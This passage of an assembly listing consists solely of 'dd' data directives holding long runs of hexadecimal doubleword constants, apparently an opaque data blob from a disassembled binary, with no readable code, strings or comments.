0B1E1A6h, 0D061371h, 0C9376B2Eh, 4B903FF2h, 67790C76h dd 78F69C00h, 0F51D15AFh, 33140A19h, 409426EAh, 0FE50B4D4h dd 78E16800h, 2245645Bh, 1E1E7B92h, 806FB89Bh, 4FEE7C38h dd 4101D7ACh, 0C971448Dh, 49E0363Fh, 7D5C1D51h, 3EF600C4h dd 7C161F30h, 1E6C1100h, 0F04BF402h, 0BF4901F1h, 129B5DB7h dd 9C9060F6h, 0DD067C01h, 1E6FEC61h, 1F1120D0h, 80BC5890h dd 1A32DEA3h, 984497D5h, 0A66C38B9h, 0B3F7EE00h, 330517EAh dd 0C2011577h, 520E8D4Ah, 0A98003C4h, 0C04C278Eh, 0D500A80Fh dd 4E258443h, 0F7E3DDBh, 1A758E6h, 0DF3BDD07h, 7CB35403h dd 31EF0C0h, 707ADE24h, 8006F786h, 77190F81h, 0F69C95Ah dd 3AE26D8Fh, 108772F7h, 11CAA03h, 57A009FDh, 430886EFh dd 0F0180D55h, 4EF831h, 40CA72C6h, 18797414h, 7AB43D0Eh dd 0B51D00EBh, 0C0A52Eh, 0DD45AB47h, 0B6BB94F1h, 5598DE00h dd 93D4676Eh, 28030031h, 7C19DCB3h, 0E7010677h, 0FCF6819Ch dd 88BC0715h, 3D15A07h, 9031451Fh, 0ECD3CD54h, 77A96E60h dd 9CE974h, 56CCBCA5h, 7F81BA1Fh, 60682B78h, 0B40F1C78h dd 320FD40h, 0E8D1529Eh, 0E5A04A36h, 14A0BA94h, 0D800BE1Ch dd 0ABF1167Eh, 0FE119F4Ah, 1CC9F8F3h, 7B614B05h, 74AAE680h dd 81707918h, 230C3B00h, 5E02B758h, 0E6AE0025h, 0CD6FA4A9h dd 1503B2F7h, 18D08312h, 0B66CF130h, 0DB88D0h, 0AA61F4Fh dd 8B865427h, 2246A800h, 8A286176h, 0A91200D6h, 53772B29h dd 700E8816h, 0E0E0814Ah, 3BFCD73h, 2D220609h, 0C1388E11h dd 0B4D1E1Ch, 9E984642h, 0F980D540h, 28D4D588h, 91CD1F00h dd 45B480F6h, 88175095h, 3A8F30BBh, 7909BD41h, 9EC33F00h dd 26D120F6h, 948B002Ah, 66F72DADh, 0B512BBD0h, 3AE8199h dd 0B4A2FA46h, 2FDF3E88h, 0BDC1A904h, 28807DF1h, 185E8610h dd 61268F5Fh, 0E3E8A3CBh, 0EC53F401h, 0C07FEA66h, 8461A6D1h dd 891F4840h, 0E42E0205h, 85B2764Ah, 0BDEC5048h, 0EE00F77Ah dd 0A9BC1757h, 64B3756Bh, 0EA219Ah, 255F8A73h, 301AEAB2h dd 3793B8Fh, 0BB00D9F2h, 4E576DCDh, 65E8E6h, 94247BF6h dd 36210584h, 0FF26850Eh, 811681A6h, 34247D3Ch, 0EC6EEDDh dd 7A37C7D3h, 0F9A6ED60h, 86E8A35Ah, 5CE91D0Eh, 33E2A176h dd 0F02A64F4h, 0D600E443h, 6C06F516h, 1F858A97h, 803F35D7h dd 0AE75EEEAh, 0F37A6465h, 11EBE037h, 8F30F490h, 0B6C1029Bh dd 295F07CAh, 3CC0948Eh, 0BE48E574h, 93A88F00h, 1C22D5FBh dd 6AF51FFAh, 2CE44084h, 0EB6810B9h, 0FC01E1F8h, 7813A175h dd 503035B1h, 0DA9F00A8h, 6EA412Eh, 5200C9CDh, 0C17C4549h dd 78F21AD7h, 0AB95005Ah, 862BE5BCh, 0F167BDFh, 3040C913h dd 15071637h, 90FB39E7h, 0EF4C5307h, 0AF170176h, 743460BFh dd 68E43800h, 5F0B586Fh, 85860B55h, 0EF83C7F7h, 61F0462Fh dd 0AC00AA1Fh, 0A079760Fh, 7455D89h, 0A3E94016h, 0E44F104Ch dd 145B5BC6h, 0D3003BFCh, 666B453Fh, 96184BB2h, 0D5486142h dd 504CFE70h, 48978C9Eh, 0D0744D2h, 0DEF071h, 9483606Ah dd 74D3074Ch, 0CDF8213h, 0F88AB10h, 205F2E09h, 4BD771CEh dd 0E8195147h, 7680C4h, 77EB8A84h, 0A40391A6h, 424BB800h dd 9BF56864h, 0FEC600DAh, 47D7B4EFh, 8400DF4Ch, 61A1C7CFh dd 2CBA464Dh, 316163C5h, 30D893A8h, 11C0215Dh, 31070DB0h dd 0C0B033Ch, 32ECEA72h, 1F25E9C8h, 0C11D0400h, 4A1A3039h dd 0E2580055h, 4575D4B8h, 360060F7h, 5DC9803Ch, 2EF5EAh dd 1FDDE350h, 445F6FFEh, 0EBEF7C00h, 799025C1h, 5BD83739h dd 286ED0E0h, 0CA0A1BACh, 0B0C6667Ah, 58CB5C0Dh, 121EEE0h dd 37F2E53Eh, 241EEC8Ah, 1649AC38h, 99DC0F2Ch, 5F51298Ch dd 1BCC1600h, 8B0096FCh, 48832BA0h, 0B4D68DF1h, 804D1CCBh dd 0C7D14325h, 0C0037A60h, 50F89D9Eh, 0CF7D8819h, 61280029h dd 0A1A8BC5Ch, 5FE68889h, 160014F0h, 0B664A01h, 3EE7B0A6h dd 2B8E1C80h, 7B014CF5h, 803E8CAAh, 70C891A1h, 4A560Dh dd 4477D6E6h, 0FF616981h, 911BD0A0h, 0D90E8A0h, 54C1F51Ch dd 0DC180100h, 30896C7Fh, 8D48B056h, 6AFEEBAAh, 0C3986650h dd 74000891h, 9AC8076h, 3EF20308h, 18F7E54Dh, 86838100h dd 0FB163D2Bh, 0E884006Fh, 0AE224B4Fh, 33E225E2h, 0F1C5EE1Ch dd 6480C464h, 1C124599h, 59890095h, 36C2A16Eh, 0DF008D14h dd 56A87BEBh, 1BF6D2h, 0F0E30597h, 0C193B2DBh, 2C040C03h dd 0CA6F7189h, 0A72A40D2h, 69380033h, 0C306A97Ch, 76006224h dd 7E0C9EADh, 1D8B1886h, 806C1E05h, 0BD7D70A7h, 8A00FEF0h dd 0ED7C11A0h, 0E59926h, 2A498C3h, 0E2783366h, 0F8BEAF01h dd 0A3C2150Eh, 1E551880h, 7E1644C5h, 14C83600h, 0E4FA8E86h dd 0F4C73F9h, 0D8CDB1EDh, 20379C41h, 0F7E07EB7h, 8A3E3F7Ch dd 0C46B6480h, 72DB404Bh, 736DD700h, 0D9CE8783h, 0AE98006Ch dd 24A7AF6h, 54009BBEh, 4F348C06h, 3A1F7Eh, 0D76E0AD3h dd 4BB3B94Ah, 3C9C3E00h, 0BCFF8F5Bh, 51F0E68h, 2620A8B5h dd 355A4B41h, 0BBCC9118h, 7C54D94h, 50F01AE0h, 9E45B0A0h dd 9703DCDFh, 0A25E6308h, 0E9DBD83Ch, 13020338h, 0CFEE9D16h dd 6B975D88h, 15E40A00h, 0CE6F554Bh, 0FB001DBh, 2FB9BC9Ch dd 8C0BF48Ah, 48824905h, 6BC0E91Ah, 0CB9967h, 1BEAA4E2h dd 836DDFF3h, 1EC08C00h, 0E78069Ch, 0BF0C0C6h, 55622C9Fh dd 2B98E500h, 0FD779BADh, 0CAFE0CBCh, 1510ACF0h, 40AE921Fh dd 0C11A880h, 9C39429h, 72E3492Eh, 3DA7B080h, 2018FC7h dd 0AD7F7670h, 60807D3Fh, 494E2CB4h, 0A828ECE1h, 0DA03904Ch dd 62EF5913h, 72DA891h dd 0F65E0065h, 11E0E38Eh, 8C3D6012h, 1C9F0085h, 0B71F44D2h dd 3B540A2Eh, 9B0D53h, 15849D73h, 0F11E8949h, 0CC807D7Fh dd 4185D1B6h, 375D03BDh, 87930DE5h, 311A9690h, 0E156ED00h dd 27612AF7h, 8B6B1C78h, 776000C5h, 0D0E5404Fh, 0E4128F00h dd 0D8EB6F63h, 79E602B6h, 0E88A82CDh, 0EE26AC80h, 32000F56h dd 1BA12441h, 0E0CC51h, 25D3ACBCh, 262A246h, 8A0BFB00h dd 2C22DBA1h, 0F0132409h, 0F8803E1Ch, 7CFC4C2Ah, 0DCF7A028h dd 91002921h, 61D79D8Fh, 0CD8F41Bh, 7046EDD0h, 0F9028739h dd 7EC5AB28h, 0FBD0804Eh, 3E2ADF56h, 0BF001676h, 397C6730h dd 0B7395A6Bh, 0F81E0006h, 53821203h, 6AB30032h, 19EE803Bh dd 2E001649h, 213DAC77h, 1EF73190h, 80B41F9Bh, 67BED2Ah dd 0C807C45Ah, 381D73C5h, 41D92DD0h, 6C270509h, 0C0E61FD8h dd 89DB92Dh, 95FC6400h, 6A5620EDh, 0F5BCA009h, 8B5D0781h dd 80DC226Fh, 4AAD429Bh, 47FC3B00h, 0E8C7C8AAh, 743E0443h dd 80F57C06h, 3B05B148h, 47529C01h, 0E04C28B8h, 0C04D8D70h dd 0D2E55F10h, 0EC004192h, 8375AE82h, 0F07DE67h, 6E5EDD79h dd 0EBD05260h, 5C00E17Dh, 3260F888h, 0FF713E6h, 7995638Fh dd 0F5320F12h, 0E897700h, 2D06C137h, 0B45A776h, 35C91288h dd 6C9040F9h, 6E476669h, 0BC747974h, 0CCC44414h, 0AC780010h dd 6D19245h, 0E8907C8Eh, 9D2D20A2h, 8FC920F1h, 3C8ACA03h dd 0C83D4957h, 0AD0B31h, 5BA8BF79h, 0C223616Fh, 0FDA4E701h dd 9695DFC3h, 0CFC9388Ah, 0B3A80634h, 490EA141h, 9495A63Eh dd 6EC00108h, 0F4469178h, 7641B085h, 0BB6801B9h, 5834D90Fh dd 0CD03C374h, 6F75E7F9h, 0E547D8A1h, 98BEF8FDh, 2D5800AEh dd 7AB3D5Fh, 7B00EA18h, 34160A05h, 0D30226h, 0DE94A6F3h dd 0D76A6342h, 4AAEC00h, 27597DBh, 95E000C4h, 0F10CF9FEh dd 7C00A348h, 5C8F5FE8h, 3AF1BF8h, 0CCC85978h, 0A1B8AA9Ah dd 0DE3D1EA8h, 0EF5B808Ah, 0F7BE26DAh, 5F9B1EBAh, 0FEE5017Ah dd 0D4CAECDEh, 0D3037C88h, 7FE3EDF6h, 70EB9831h, 0AEE65Dh dd 0EF080A07h, 59DF45A3h, 309CCB05h, 0A41C798Eh, 22E309C0h dd 5E80E2h, 0DF376A8Ah, 5CA2EE1Eh, 366CA400h, 8BA71FEAh dd 101EA16h, 74079385h, 80EE196Eh, 63730611h, 35579CAh dd 0D2536081h, 82F8F33Fh, 2C1D7C45h, 87C02E04h, 783AF8Bh dd 489B0727h, 0B09CB2B8h, 0EE4D365Fh, 70B6DD00h, 6790D2B5h dd 9AE6F691h, 7E9909A4h, 0A40FD5D9h, 191DF7A6h, 9E2A6FA0h dd 4DBED400h, 0DDA3DE7Eh, 516D1D70h, 0DFF64F5Fh, 1F3247C0h dd 0CB003380h, 10404296h, 0BD9F48h, 0AA2DC6DCh, 0D3A6139Eh dd 0BC037F90h, 9C674F50h, 8573A00Dh, 8780703h, 12209102h dd 4C3B2D6h, 0FCE7A5B0h, 0AF037DB0h, 81C907Bh, 0EA9018F3h dd 0C3BA6168h, 0F1F0B901h, 0E5C9156Ch, 1A3848FEh, 1A0D70B4h dd 0D154FE25h, 99AE8A60h, 58156B00h, 0B449F25Fh, 5EE294h dd 0EEE865A6h, 1BE602AAh, 0F8413116h, 0D0F52C43h, 47B0C8B8h dd 30B10038h, 403B6CC2h, 773D3FF8h, 4FEF0065h, 1F8F3E5Ch dd 13FA0007h, 3CFE86A5h, 0F23CB2D9h, 772C87FFh, 10003DECh dd 0D81B7Bh, 0E9573A70h, 0AF23A2ACh, 0D8C12830h, 58A8B9h dd 0C240838Ah, 4E29CED5h, 382C0B00h, 0A2451755h, 0E8DF00DDh dd 0A7F0FB2Dh, 0BDFBFF5Fh, 0C4C39DE9h, 0D2A644C5h, 911A8420h dd 0A070A5h, 906DECACh, 12362452h, 3BBA3A03h, 9068DC42h dd 78ACDh, 5B25F3F5h, 0FEC15F57h, 1D94940h, 4AA334B8h dd 0E8F38628h, 0B22C8488h, 3200F517h, 1648E1EBh, 8D8101D1h dd 8E04DBFEh, 0B642C0A6h, 0D0B9B400h, 593AAF2Dh, 0A73118ABh dd 0AE5611D6h, 5CC22400h, 0E1475FE6h, 59D00067h, 0E22FCBB2h dd 0F614501Bh, 11F4BAC7h, 18029AF7h, 4B485860h, 1DB81C48h dd 0A7671CC0h, 2CB5325h, 0D318402Ch, 0B4E08B80h, 0BF2E93F8h dd 0CA0AD656h, 0C28D276h, 0BD00B376h, 0D70B36D5h, 0B042F641h dd 78C10740h, 80741B2Ch, 57D5E44Fh, 925DB2E8h, 0F2CA1CDCh dd 0BED97F80h, 0BAC9764Ch, 600B00F0h, 7015372Ch, 62E4641Eh dd 46329E0Fh, 38AD00A6h, 7CFD3A76h, 0ED451CD5h, 7AAF0079h dd 618E77A8h, 0FE639600h, 0C5A327E3h, 7AE7718Fh, 8DF6025Eh dd 0B0727EAEh, 1982CB80h, 92076625h, 10E261CCh, 1448756h dd 0BFA135C4h, 0FCBB4D91h, 6A0FC0D1h, 0E0D2B6B2h, 9EB9E830h dd 718B4C78h, 0E773D70Eh, 55440017h, 975C9A4h, 98157F00h dd 0E93FD17h, 0D970024h, 0A32B6990h, 4001202Ah, 29ECEBEDh dd 46D0CC9Fh, 74180042h, 0DDC36ECFh, 0D4A008C5h, 0E01DB572h dd 0BECC4E38h, 60AF0D6h, 924220FAh, 2571880Dh, 0A64D8817h dd 0A582C01Ch, 0C05F6B07h, 9BDCB0h, 9AFD21AAh, 2C3AE63Fh dd 0A3B8851Ch, 5F6C7600h, 19E3C6F5h, 40DF6E4Ch, 0C5D2DCFDh dd 2F800150h, 37F89A00h, 46E73DDh, 82ED0077h, 7F6F81AAh dd 4160935Dh, 5389F439h, 34F2001Ch, 756E9A8Bh, 3D1EC21Dh dd 80FE78B4h, 851364EAh, 76DA08h, 0B3189AAAh, 944D482Ah dd 4A366900h, 893D7FFFh, 43D3002Ch, 0B713F226h, 0B53B225Dh dd 24F0D838h, 0E8099B7Fh, 0E434A07Ch, 3928D9BDh, 722447B7h dd 21243DB4h, 732F825Ch, 94503181h, 0E7CA7003h, 0A84548D9h dd 4DB254B1h, 52000062h, 0D37FF1DAh, 2AFE585Eh, 0BD18C461h dd 0ED70FD9Ah, 4AA700CCh, 49E0B25Ah, 0D34A231Dh, 0A425C800h dd 0C0B5E13h, 951A421Eh, 3A004919h, 0FF82CA71h, 0E87236BDh dd 69DE1EFDh, 0A0260991h, 7A975C80h, 19094809h, 34D4B4Ch dd 0A8139B4Ch, 24685B29h, 92DCAE0Fh, 9208304Fh, 7900EE39h dd 551E2F65h, 1D19CCD7h, 40301305h, 1F929E87h, 0C900297Ah dd 46119C22h, 95D7BAh, 60CEAA4Eh, 16541DD8h, 509FF23Dh dd 30180F8h, 3EA47E11h, 30203B1Eh, 52963AD1h, 0A13C2100h dd 23B16EFBh, 94B5BB07h, 4C201708h, 0AA7002h, 0FEA0F245h dd 0BE812FD3h, 6F03F00h, 768C423Ch, 83130084h, 30B04404h dd 0E00EBD6h, 0FCF364F4h, 0F5DD9F11h, 1DDFD0h, 823763C1h dd 4417A981h, 6B84307h, 0F557EBD9h, 5239EFD2h, 0B609244h dd 15C84C0Dh, 55CE7021h, 0F49420E2h, 3A684903h, 0C1CBA593h dd 0F0F0F8D2h, 45EB3F0Bh, 0B879E182h, 0EDE0B253h, 8097ED3Ah dd 0B129EFF1h, 39020099h, 2FEA0ECFh, 3E073DACh, 0F9236B4h dd 0E829B890h, 348A0082h, 68177F67h, 520418CDh, 0D4E17680h dd 20B4F184h, 92E90FD6h, 5903C515h, 40D03282h, 9FF0C70Bh dd 3ACA8D00h, 0A567DA22h, 0F9A2133Eh, 422300A0h, 0AA198A4Ch dd 0C521C800h, 0B9534922h, 0F71E00B2h, 7BA6A7D8h, 5BE87AB8h dd 0F6333C06h, 12B0AD99h, 810E6F47h, 0F0ED9ADCh, 0C90036B8h dd 3346D3F2h, 0BC7524Bh, 40E8F7C0h, 0C54ECA00h, 0CE02CDB2h dd 44655942h, 0DF2C433Ah, 4A434B81h, 4AF8C3E0h, 92B4041Ch dd 71F620CAh, 28E00AAh, 0D977BF79h, 0AE290DEh, 0F66F870h dd 0B2208889h, 5DE70310h, 3DE5A16Fh, 51B88DA0h, 6D1F18DEh dd 6BBF9C00h, 11C4B59h, 38D132C9h, 2036525Fh, 0F8F62235h dd 2C083A28h, 0B96B0407h, 32C085FBh, 0A1664Eh, 0DAFE90BBh dd 6C19695h, 0F9CFC30Eh, 0A8D5C034h, 9036E5h, 458B6294h dd 0BB663170h, 405D6E14h, 358E1B58h, 0BE07C4D0h, 0C10A4017h dd 6660EA2Bh, 0F09FBC9h, 79796Ch, 0F16E0E47h, 2F56F423h dd 92CE7F00h, 6406CFEDh dd 0CC7C43h, 1583E35Dh, 4DF998D5h, 616BD100h, 0AB02C4A7h dd 54D8008Bh, 3D1AF34Ah, 2F0044C8h, 0D21CD5D7h, 3BDBCAFh dd 0DC5B1EC5h, 5698FA20h, 0CF006475h, 0AC6C3AB3h, 3CE00EA9h dd 3E0B9C08h, 14006FB2h, 814AC8D8h, 6069DF00h, 0A78794BDh dd 8F0C0234h, 0F833997Ah, 35D5E4A0h, 6E034003h, 760F6601h dd 0E1083039h, 30DB621h, 0B1AE2800h, 0BBF4D9CBh, 0CEF21E9Dh dd 0F0CC0F9h, 1294C164h, 381C433Ch, 6058A6E4h, 4E6AA80h dd 0F80DF196h, 809096F8h, 8C6AD2A9h, 0EA3A313Bh, 2018E046h dd 0A40DBD49h, 0A81A00B4h, 5A4C93CEh, 54300F2Ch, 0EFDD082Ah dd 8D0B1C48h, 0F6148035h, 4D9CA5C3h, 42E5431Dh, 252FD503h dd 0D32900CDh, 0B2AC9F60h, 24304FC1h, 0C07919E2h, 0AED10792h dd 0F00E63F0h, 0BE24F2CFh, 4D076B00h, 51491AE2h, 72023815h dd 1EE8903h, 4107CF23h, 0AA8D4CB3h, 50225235h, 348E20DBh dd 7A073B8Dh, 0FC678AAFh, 0C9F4BFC1h, 3D868883h, 0A8015671h dd 5D0A4841h, 108738F5h, 268860h, 28C80ED9h, 74DEEB1Dh dd 616E3BC0h, 0A0FF6Ah, 697249A8h, 0B111B7F4h, 84303500h dd 0E1C7893Ch, 7CE00C4h, 837DB43h, 1448C3F1h, 0AD8D000Fh dd 0B5C72D3Bh, 1808CC2Bh, 1503F621h, 88237DB2h, 0E734C30Fh dd 0C95605Eh, 778C4EBh, 513C89ABh, 41618CEEh, 0B240048Ch dd 622BAD8Bh, 17F42019h, 0D2116EB2h, 0EF0E02D0h, 0F500A759h dd 808B76BFh, 0E0B9523Ch, 859EB514h, 8E620610h, 796144CFh dd 50673C30h, 1B874ADh, 0CE094EBAh, 9A293944h, 1D713420h dd 821D1180h, 0E0784C0Ch, 0E0D647Ch, 0CE21B884h, 2926D8A6h dd 7F318A00h, 3FE25D9Bh, 847B9Ch, 6247753Eh, 0FEC48FDAh dd 312C220Ch, 753390F4h, 0E9A9C679h, 1400A1BDh, 7780B66Bh dd 51B4DC7h, 3B9F6AFDh, 56B20320h, 2BD099EEh, 4E0629DDh dd 34C96F1h, 28340080h, 70D30256h, 85EEA775h, 4084D66h dd 5E470021h, 1569F702h, 9C0D0D44h, 481B09EFh, 1D95888h dd 0DAB16B00h, 7E97DF38h, 669100DEh, 5A8F361Ah, 0B40F422Eh dd 0FC313023h, 0C19E8B80h, 76BFF20h, 8F151ED2h, 0D9807FD6h dd 271957B8h, 18F65000h, 4AFB7CBEh, 6FCE1F2Eh, 0DEFF0056h dd 0EC5B6288h, 6383A0CFh, 98F87E2Bh, 48FCA6h, 7FB72684h dd 33B13D93h, 87033B3Fh, 1F22D579h, 89444050h, 31180728h dd 17E60Eh, 8514ABB4h, 96F5F200h, 2676AEE3h, 41F700A6h dd 2A197142h, 99002B75h, 0E1C95FF2h, 0EF18D84h, 2931A0FAh dd 62219860h, 0EF7B5594h, 1A00EC7Eh, 9D868487h, 30E8744Ah dd 44283FCCh, 32002DBEh, 0DAD7376h, 33D8729h, 5F86C615h dd 0A0CF471Fh, 0CA48826Ah, 50E1993Ch, 0BA20251Ch, 5B430046h dd 0A36D4E2Eh, 9B0021F0h, 0B57B11ACh, 0CBAEBA31h, 0FB0F2930h dd 0BD55B961h, 0D5F0FCC7h, 2C3D3Eh, 0ADBA49A7h, 7D6BC648h dd 3C2BF646h, 6600F740h, 0BE267280h, 0AE30EE9Ch, 398A814Dh dd 0E20803D9h, 0F43FDF13h, 4E856BB0h, 0A0A45500h, 5142FD5Fh dd 95D71CB8h, 89AFDB31h, 8F2C58D6h, 14070D35h, 33BF2877h dd 0AFB79A0Fh, 44D507C7h, 0D7CBE741h, 0A197E0h, 31E23EA8h dd 754C6295h, 8380E03Fh, 7F6B353Bh, 879BA00Ch, 0D96D0551h dd 0C599A12h, 0B0972A2h, 45B121C0h, 0B41BD9h, 0CE3CE519h dd 8E5DF0B7h, 24F11C40h, 305A8D95h, 0C1B02F31h, 90B3A001h dd 5BAFAF2h, 3B1299Eh, 3971CAA5h, 0DC8150F1h, 9D6FCD7Eh dd 0A798A00Ah, 0CE2EBA66h, 0C500AB31h, 0E4F49350h, 0DA8C000h dd 6851564h, 0A7990191h, 0F8E2C21Ch, 17800583h, 5455F4h dd 0D053F343h, 0EF94276Bh, 14A87B18h, 3B314FA1h, 9C28573Ah dd 0DC2F00FCh, 1F55C707h, 0F060068Eh, 37901229h, 42F10C01h dd 67E189E2h, 5EDE2000h, 0A7392408h, 8CC66EFh, 46002153h dd 889DE38h, 4CDDCE71h, 0BF0E28B3h, 0D9989FB1h, 0F0005835h dd 7FCCACB5h, 189A7B0Eh, 211EB9F5h, 0CA005D55h, 639798C4h dd 0CC67B00Dh, 77213608h, 0FCCA7400h, 932514B8h, 56A70630h dd 618FA6F0h, 0FDD8E1Bh, 8798E2C9h, 2381613Ch, 11809AFDh dd 684C14BBh, 6D0CF603h, 8432419h, 5921C098h, 10384CF9h dd 0E2D18400h, 0CBB90560h, 0E50A038Ch, 0E81910Ch, 0F4037008h dd 46302830h, 0D96C0250h, 1C819A13h, 0D9071898h, 0A1DDFC15h dd 8EE61D60h, 217F6108h, 8088F811h, 827BAA91h, 1C750E2Bh dd 0F2B40Fh, 2530D61Ah, 843CED94h, 623960A8h, 39D0FBCh dd 7C3E58D4h, 7BE0DB8Dh, 843D9521h, 82FA9BE2h, 4074C259h dd 0F2C8FB4h, 8B301181h, 8A0C1AC2h, 120FECA0h, 63649F98h dd 6B6069E0h, 9A1014D9h, 78C8C729h, 2043B38Ch, 4E3052Dh dd 432F975Dh, 4F241AC8h, 7DA86118h, 0D6B931h, 0B40D4711h dd 5FBC2BA4h, 9E6CA707h, 9AE072FBh, 302783F1h, 0DD4918B9h dd 3700E340h, 0BEFDBFB1h, 0C0DF8E08h, 1AC48759h, 1300CA3Eh dd 6D4602E4h, 89F305h, 84CBB88Eh, 5D251A0Eh, 0BA2731C3h dd 0E597034h, 501C304Bh, 0A6122660h, 0F312D018h, 8C0880FBh dd 0DEC7C047h, 1C46085Dh, 45005B22h, 23BBDE3Fh, 5353989Eh dd 7DA2A413h, 50551B31h, 0AB4AEC80h, 85EC3033h, 94452E69h dd 0FF2C2FE4h, 4E03CD2Dh, 236BE11Dh, 6A017670h, 919A0DD9h dd 0C8804C23h, 3AE4D942h, 0AC7B6F1Ch, 7410DED2h, 0C8A98CACh dd 0B011002Fh, 0BB6825C3h, 70305E8Eh, 84E4A130h, 0C43CA512h dd 0AAD3677Dh, 708B1Ah, 0B4947C71h, 34BB5B10h, 3E46E490h dd 714C1302h, 9F31FE03h, 4C1C4010h, 86D85700h, 0D028231h dd 7BEE06ACh, 0B1A1F020h, 10533507h, 0F08A324Fh, 584E4674h dd 0FC3003BAh, 88BF7D3Bh, 0C063A7D0h, 93B1BBD9h, 6A0080E8h dd 16EAA611h, 4BCE2E6h, 56C6B918h, 2254D8CDh, 4CF7058Ch dd 281E036Dh, 202C6470h, 5100CA4Ch, 0DD6C99F3h, 829C01CBh dd 0D5C17CC7h, 195DD0FFh, 25AFFC0Eh, 0C31098E2h, 395FE6Ch dd 41E0937Bh, 833B85Ch, 0F01C21EBh, 0D671C1h, 8AAE6582h dd 0B3E0FF56h, 0C83F906h, 0C28C094h, 1C19E4E3h, 258CB160h dd 7B56C186h, 0E9113021h, 0C16F2200h, 0EBFF111Ah, 64338300h dd 91E2A39Ch, 0E3463034h, 3F207D28h, 17C04A07h, 1F2680D8h dd 21546008h, 583F0F9Ch, 678E2D60h, 0C79C760h, 0FA9477BBh dd 7E008DA1h, 0DCE5AB78h, 0F87667C9h, 0FE9A376Dh, 644B021h dd 410C7D2Bh, 964DF61h, 0BC21C2C8h, 0B06306ACh, 0F4CF17E8h dd 159D3901h, 9B0C24FDh, 83E3B050h, 3011E8B6h, 0FC1081F4h dd 0A10193DCh, 0BF511789h, 0BEF5FFFBh, 2180F0D1h, 4A16B3Eh dd 0DC60C77Ch, 0F9E78749h, 0D394301Dh, 6156D259h, 330E66F4h dd 0E01568FFh, 3157FCE0h, 0A8F85420h, 0E29F0011h, 1BCC89ECh dd 17148FC4h, 0E8CC5C0Eh, 0AE7D8CEAh, 7028C00h, 0C701C4Ch dd 0B5140ADAh, 4B700D5Dh, 1785B601h, 0F5704871h, 6F4288h dd 0FDA42FA1h, 5AFFD27Bh, 79BDDCA8h, 0CEA2EF01h, 443784B9h dd 21511980h, 39457B91h, 8C094200h, 89CA1DCEh, 0B0E950D9h dd 92028C0Eh, 0B91782A1h, 10F219BEh, 0DA16A45h, 4457D172h dd 41F2E1h, 846186Bh, 0B17D2906h, 3EAEBE70h, 60874606h dd 900DC4B9h, 7C09F279h, 0CDCD822h, 2CFCD28Bh, 0D36020C9h dd 0D0417319h, 0C0344EE5h, 9D606138h, 9493AC01h, 0CCDA48B7h dd 8113D891h, 1787A195h, 108631E6h, 0A16D3Ch, 76A76F26h dd 70F1953Dh, 5303104h dd 448EE16Ch, 15C0F388h, 88CF2007h, 4E0065CBh, 81A931Eh dd 7A6DA22h, 257E745Ah, 0BF5F1049h, 7050E4E0h, 3CA107DAh dd 49E1812h, 991786A1h, 108BBEh, 0BDA19641h, 3B256DDAh dd 7B32B7h, 46747626h, 0EB0902CAh, 3818512h, 0C0B56408h dd 7B97C182h, 60406346h, 0C16B031Eh, 997DF5BFh, 0DA317175h dd 56F621DDh, 11C7F057h, 9D3721F2h, 8F84119Ch, 1C98A0D5h dd 9242361Ah, 0C4A60000h, 7F0B67EEh, 6B008D3Bh, 0CD10A17h dd 633336F0h, 0BF8F295Ch, 94D0F4F8h, 4C91AB60h, 600470h dd 2EB9C77Dh, 14CA81F0h, 0D444730Fh, 3777403Dh, 24495Eh dd 4D9A02B8h, 669C50A1h, 8085513Bh, 0CA79BFD2h, 9027B89Fh dd 26C4678h, 7D20064Bh, 10AC31B9h, 2E06B3A1h, 4243923h dd 8C28AF0Eh, 7700E30Ch, 8F9613D1h, 0AEC6FBh, 0E83EA6C7h dd 0C4E0FAFFh, 22F21207h, 4570BBDCh, 199A03h, 9C84FC1Fh dd 669D8ECEh, 85268F05h, 0EC08060Bh, 0C187C0ACh, 0BB467B92h dd 2321E732h, 58365CC0h, 794E3A01h, 0C959BB11h, 80AE4891h dd 7B90C189h, 0C074996Bh, 6FC16E21h, 0C4C71A00h, 4BC3F0E2h dd 1CA315CEh, 1B0BF096h, 2D007341h, 67E0C608h, 0EC63BF03h dd 0C594F5CDh, 275C884Eh, 0FC4043FDh, 652905h, 58A5D71Eh dd 0C8B6D8ADh, 18FBA714h, 40C201D4h, 31F3A29Ch, 99DF7DF4h dd 65FD00E0h, 85F73634h, 0FED8A22Fh, 3368001Eh, 0F60C4AA1h dd 997F5034h, 12D6B80h, 46420C81h, 0CC089CE6h, 2C2B3724h dd 3B241C80h, 384FD941h, 0F9802C6Dh, 0E7E09805h, 0EF18DB6Ah dd 2E38856Fh, 0BF9E0002h, 6D13D44Ah, 0D9C3D69Bh, 80C0A2EAh dd 8B3FC5h, 80103357h, 0E8FF9A2Ah, 0A37DF301h, 0F82B4D8h dd 36254886h, 4EB08147h, 31E08BFCh, 5E9A1000h, 0CA5155F6h dd 0ACD35170h, 4BBF2980h, 486D0BFAh, 0ADBA9201h, 0C27D87D2h dd 9B5D218Bh, 4F458410h, 806EA23Fh, 0E98902BEh, 2A2EF4F0h dd 38CEB1Dh, 0F9851BAFh, 78CBEF52h, 0CF4E1888h, 801D30F6h dd 46014A9Eh, 38FDC6AAh, 33F14C21h, 0CEA1C0h, 3AFF9D8Ch dd 0CA7DB28Ah, 0D87F9300h, 2D57FD74h, 0E1633042h, 0DB900D89h dd 13C3D300h, 0DF0CA1CEh, 30A6EE82h, 72B94937h, 10009D9Ah dd 4553A44Fh, 12BE664Ch, 275D42AAh, 8C2330A4h, 3481062h dd 55CC07D8h, 19D0841Eh, 0CF7A0Eh, 0A8943C69h, 0FE48BFA5h dd 2128E860h, 354F7A1h, 86F27D6Ah, 88B83A7Fh, 84A9931Ch dd 6D0EE803h, 890CE8FAh, 9911378Ch, 0DB590094h, 48D173D2h dd 0E4E28D34h, 24653Eh, 0AADFA5B0h, 7BBAD7BBh, 0DB2F00FCh dd 0F7A26C2Eh, 4612EC56h, 7C209AB8h, 5C264C8h, 68432978h dd 8A80024h, 0BCBD6503h, 0E62D4000h, 35DEAFF7h, 7FD3F89Eh dd 0F074904Dh, 0F44118EAh, 1E6B19Bh, 0D5180B00h, 0AF1F113Ah dd 2D5A05D2h, 0C89ABDF2h, 8501C9E4h, 0A27F20CAh, 49DC247Ah dd 617B4242h, 0EE1D1281h, 0A815980h, 3FCB4FB5h, 0F40EE570h dd 0C08E5B2Ah, 2DF5426Ah, 5630597h, 97E8419h, 7490DAA8h dd 59CED59Bh, 0D1A74082h, 1AA41Eh, 0E420456Fh, 95A2DF3Ch dd 29AF9B30h, 84B82Ch, 0B479DE8Eh, 0BB3443E9h, 380CE06h dd 0A039D5h, 0BE0BF63Eh, 